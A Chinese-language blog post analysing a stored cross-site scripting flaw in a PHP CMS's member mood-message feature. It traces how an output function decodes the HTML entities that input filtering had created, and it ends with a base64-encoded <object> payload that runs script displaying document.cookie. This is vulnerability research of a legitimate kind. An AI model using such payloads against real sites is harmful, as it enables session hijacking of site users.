1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
else if($fmdo=='moodmsg') { if($dopost=="sendmsg") { if(!empty($content)) { $ip = GetIP(); $dtime = time(); $ischeck = ($cfg_mb_msgischeck == 'Y')? 0 : 1; if($cfg_soft_lang == 'gb2312') { $content = utf82gb(nl2br($content)); } $content = cn_substrR(HtmlReplace($content,1),360); $content = addslashes(preg_replace("/[face:(d{1,2})]/is","<img src='".$cfg_memberurl."/templets/images/smiley/\1.gif' style='cursor: pointer; position: relative;'>",$content)); 省略...
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
|
function HtmlReplace($str,$rptype=0) { $str = stripslashes($str); $str = preg_replace("/<[/]{0,1}style([^>]*)>(.*)</style>/i", '', $str); if($rptype==0) { $str = htmlspecialchars($str); } else if($rptype==1) { $str = htmlspecialchars($str); $str = str_replace(" ", ' ', $str); $str = preg_replace("/[rnt ]{1,}/", ' ', $str); } else if($rptype==2) { $str = htmlspecialchars($str); $str = str_replace(" ", '', $str); $str = preg_replace("/[rnt ]/", '', $str); } else { $str = preg_replace("/[rnt ]{1,}/", ' ', $str); $str = preg_replace('/script/i', 'script', $str); $str = preg_replace("/<[/]{0,1}(link|meta|ifr|fra)[^>]*>/i", '', $str); } return addslashes($str); }
|
HtmlReplace
函数 $rptype
传递过来的是1预定义的字符转换为 HTML 实体
因此插入到数据库的数据 是经过转换 成 html实体的 从而过滤特殊字符
经过函数跟踪发现显示会员心情管理
<?php echo jstrimjajxlog($fields['msg'],200); ?>
调用了 jstrimjajxlog
函数 (将html实体 又还原了 0rz…)
1 2 3 4 5 6 7 8
|
function JstrimJajxLog($str,$len) { $str = cn_substr($str,$len); $str = str_replace(''', '"', $str); $str = str_replace('&lt;', '<', $str); $str = str_replace('&gt;', '>', $str); return $str; }
|
![2019-07-22-05-16-33]()
一般管理员不会去看这个的
- 注意不要用 引号 因为有 stripslashes 转义
测试语句:
1
|
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==></object>
|
Source:wolvez.club | Author:wolvez
相关推荐: Ubuntu 15.10 下安装Xware Desktop(迅雷)
1.安装必备软件 sudo apt-get install git build-essential devscripts 2.下载源代码 git clone git://github.com/Xinkai/XwareDesktop.git 这会在当前目录下生成…
评论